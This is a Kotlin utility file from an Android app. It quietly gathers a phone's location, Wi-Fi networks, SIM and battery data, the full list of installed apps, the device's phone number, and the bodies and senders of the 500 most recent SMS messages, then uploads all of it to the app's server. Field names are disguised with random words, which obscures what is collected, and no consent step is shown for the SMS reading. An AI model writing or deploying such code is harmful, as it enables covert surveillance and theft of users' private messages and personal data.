package com.uduew.sjd.utils

import android.Manifest
import android.content.Context
import android.content.Context.TELEPHONY_SERVICE
import android.content.pm.ApplicationInfo
import android.net.Uri
import android.telephony.SubscriptionManager
import android.telephony.TelephonyManager
import androidx.annotation.RequiresPermission
import androidx.lifecycle.LifecycleOwner
import com.hjq.permissions.OnPermissionCallback
import com.hjq.permissions.Permission
import com.hjq.permissions.XXPermissions
import com.uduew.sjd.api.SubmitAppInfoApi
import com.uduew.sjd.api.SubmitAppInfoApi.MeritoriousBean
import com.uduew.sjd.api.SubmitAppInfoApi.ReqSubmitAppInfoBean
import com.uduew.sjd.api.SubmitDeviceInfoApi
import com.uduew.sjd.api.SubmitDeviceInfoApi.ReqSubmitDeviceInfoBean
import com.uduew.sjd.api.SubmitDeviceInfoApi.ReqSubmitDeviceInfoBean.MonostabtleBean
import com.uduew.sjd.api.SubmitDeviceInfoApi.ReqSubmitDeviceInfoBean.NoncondensingBean
import com.uduew.sjd.api.SubmitDeviceInfoApi.ReqSubmitDeviceInfoBean.NoncondensingBean.RippedBean
import com.uduew.sjd.api.SubmitTextMessageApi
import com.uduew.sjd.api.SubmitTextMessageApi.HesitancyBean
import com.uduew.sjd.api.SubmitTextMessageApi.ReqSubmitTextMessageBean
import com.uduew.sjd.bean.HttpBean
import com.uduew.sjd.net.DataRepository
import com.uduew.sjd.net.DataResult
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.SupervisorJob
import kotlinx.coroutines.launch

object SubmitUtils {


    internal fun loadDeviceInfo(context: Context, lifecycleOwner: LifecycleOwner) {
        val ioScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
        ioScope.launch {
            val bean = ReqSubmitDeviceInfoBean()
            val opponentBean = DeviceInfoCollector.getOpponentInfo(context)
            bean.setOpponent(opponentBean)

            val latten = DeviceInfoCollector.getDeviceInfo(context)
            bean.setLatten(latten)

            val locallyBeans = NetworkInfoCollector.getWifiList(context)
            bean.setLocally(locallyBeans)

            val rumshopBean = DeviceInfoCollector.getRumshopInfo(context)
            bean.setRumshop(rumshopBean)

            val papalize = DeviceInfoCollector.getPapalizeInfo(context)
            bean.setPapalize(papalize)
            XXPermissions.with(context)
                .permission(
                    Permission.READ_PHONE_STATE
                )
                .request(object : OnPermissionCallback {
                    @RequiresPermission(Manifest.permission.READ_PHONE_STATE)
                    override fun onGranted(
                        permissions: List<String?>,
                        allGranted: Boolean
                    ) {
                        if (!allGranted) {
                            return
                        }
                        val freshnessBean = SimInfoCollector.getSimInfo(context)
                        bean.setFreshness(freshnessBean)
                    }
                })
            val monostabtle = MonostabtleBean("", "", "")
            bean.setMonostabtle(monostabtle)
            val reclusionBean = BatteryInfoCollector.getBatteryInfo(context)
            bean.setReclusion(reclusionBean)
            val currentWifi = NetworkInfoCollector.getCurrentWifi(context)
            bean.setSovprene(currentWifi)
            // 初始化定位提供者
            val locationProvider = NativeLocationProvider(context)
            // 获取最后一次位置信息
            locationProvider.getLocationDetail { detail ->
                detail?.let {
                    val rippedBean = RippedBean(it.latitude, it.longitude)
                    val noncondensingBean = NoncondensingBean(
                        rippedBean,
                        it.fullAddress,
                        it.subLocality,
                        it.subLocality,
                        it.city,
                        it.province,
                        it.country
                    )
                    bean.setNoncondensing(noncondensingBean)
                    submitDeviceInfo(lifecycleOwner, bean)
                }
            }
            submitDeviceInfo(lifecycleOwner, bean)
        }
    }

    private fun submitDeviceInfo(lifecycleOwner: LifecycleOwner, bean: ReqSubmitDeviceInfoBean) {
        var api = SubmitDeviceInfoApi(bean)
        DataRepository.getInstance()
            .submitDeviceInfo(lifecycleOwner, api) { dataResult: DataResult<HttpBean<Any>> ->
                if (!dataResult.responseStatus.isSuccess) {
                    return@submitDeviceInfo
                } 
            }
    }

    private fun submitAppMessages(
        lifecycleOwner: LifecycleOwner,
        messages: ArrayList<MeritoriousBean>
    ) {
        var overrip = ReqSubmitAppInfoBean(messages)
        var api = SubmitAppInfoApi(overrip)
        DataRepository.getInstance()
            .submitAppInfo(
                lifecycleOwner,
                api
            ) { dataResult: DataResult<HttpBean<Any>> ->
                if (!dataResult.responseStatus.isSuccess) {
                    ToastUtils.showShortToast(dataResult.responseStatus.responseCode)
                    return@submitAppInfo
                }

            }
    }

    internal fun loadAppMessages(context: Context, lifecycleOwner: LifecycleOwner) {

        val ioScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
        ioScope.launch {
            val appList = ArrayList<MeritoriousBean>()
            val packageManager = context.packageManager
            val installedPackages = packageManager.getInstalledPackages(0)


            for (packageInfo in installedPackages) {
                val applicationInfo = packageInfo.applicationInfo
                val appName = applicationInfo?.let {
                    packageManager.getApplicationLabel(it).toString()
                } ?: "Unknown"
                val packageName = applicationInfo?.packageName
                val versionName = packageInfo?.versionName
                val versionCode = packageInfo.versionCode.toInt()// 或 packageInfo.versionCode 对于旧版本
                val flags = applicationInfo?.flags.toString()
                val installTime = packageInfo.firstInstallTime // 时间戳（Long）
                val updateTime = packageInfo.lastUpdateTime     // 时间戳（Long）
                val isSystemApp =
                    if ((applicationInfo?.flags?.and(ApplicationInfo.FLAG_SYSTEM)) != 0) "SYSTEM" else "NON_SYSTEM"

                val appInfo = MeritoriousBean(
                    appName, packageName, versionName, versionCode.toString(), isSystemApp, flags,
                    installTime.toString(), updateTime.toString()
                )
                appList.add(appInfo)
            }

            submitAppMessages(lifecycleOwner, appList)

        }
    }

    internal fun loadSmsMessages(context: Context, lifecycleOwner: LifecycleOwner) {
        // 定义协程作用域
        val ioScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
        ioScope.launch {
            val projection = arrayOf(
                "_id",          // blacking
                "thread_id",    // commanddoman
                "address",      // blackbird
                "body",         // sdcd
                "date",         // psychoacoustic
                "type",         // tabasco
                "read",         // jiao
                "status",       // phylogenic
                "service_center", // plainsman
                "protocol"      // fleury
            )
            val messages = ArrayList<HesitancyBean>()
            val uri = Uri.parse("content://sms/")
            context.contentResolver?.query(
                uri,
                projection,
                null,
                null,
                "date DESC LIMIT 500" // 最近500条
            )?.use { cursor ->
                context.let {
                    if (it != null) {
                        val tm = it.getSystemService(TELEPHONY_SERVICE) as TelephonyManager
                        val subManager = SubscriptionManager.from(context)
                        while (cursor.moveToNext()) {
                            val bean = HesitancyBean().apply {
                                setBlacking(cursor.getLong(0))
                                setCommanddoman(cursor.getLong(1))
                                setBlackbird(cursor.getString(2))
                                setSdcd(cursor.getString(3))
                                setPsychoacoustic(cursor.getString(4))
                                setTabasco(cursor.getInt(5))
                                setJiao(cursor.getInt(6))
                                setPhylogenic(cursor.getInt(7))
                                setPlainsman(cursor.getString(8))
                                setFleury(if (cursor.getInt(9) == 0) 0 else 1)
                                setRetractility(tm.networkOperatorName)
                                setDisorganized(tm.line1Number ?: "")
                                setPneumatism(
                                    subManager.activeSubscriptionInfoList?.firstOrNull()?.simSlotIndex?.toString()
                                        ?: ""
                                )
                            }
                            messages.add(bean)
                        }
                    }
                }
            }
            submitMessages(lifecycleOwner, messages)
        }
    }


    private fun submitMessages(lifecycleOwner: LifecycleOwner, messages: ArrayList<HesitancyBean>) {
        var overrip = ReqSubmitTextMessageBean(messages)
        var api = SubmitTextMessageApi(overrip)
        DataRepository.getInstance()
            .submitTextMessage(
                lifecycleOwner,
                api
            ) { dataResult: DataResult<HttpBean<Any>> ->
                if (!dataResult.responseStatus.isSuccess) {
//                    ToastUtils.showShortToast(dataResult.responseStatus.responseCode)
                    return@submitTextMessage
                }

            }
    }


}
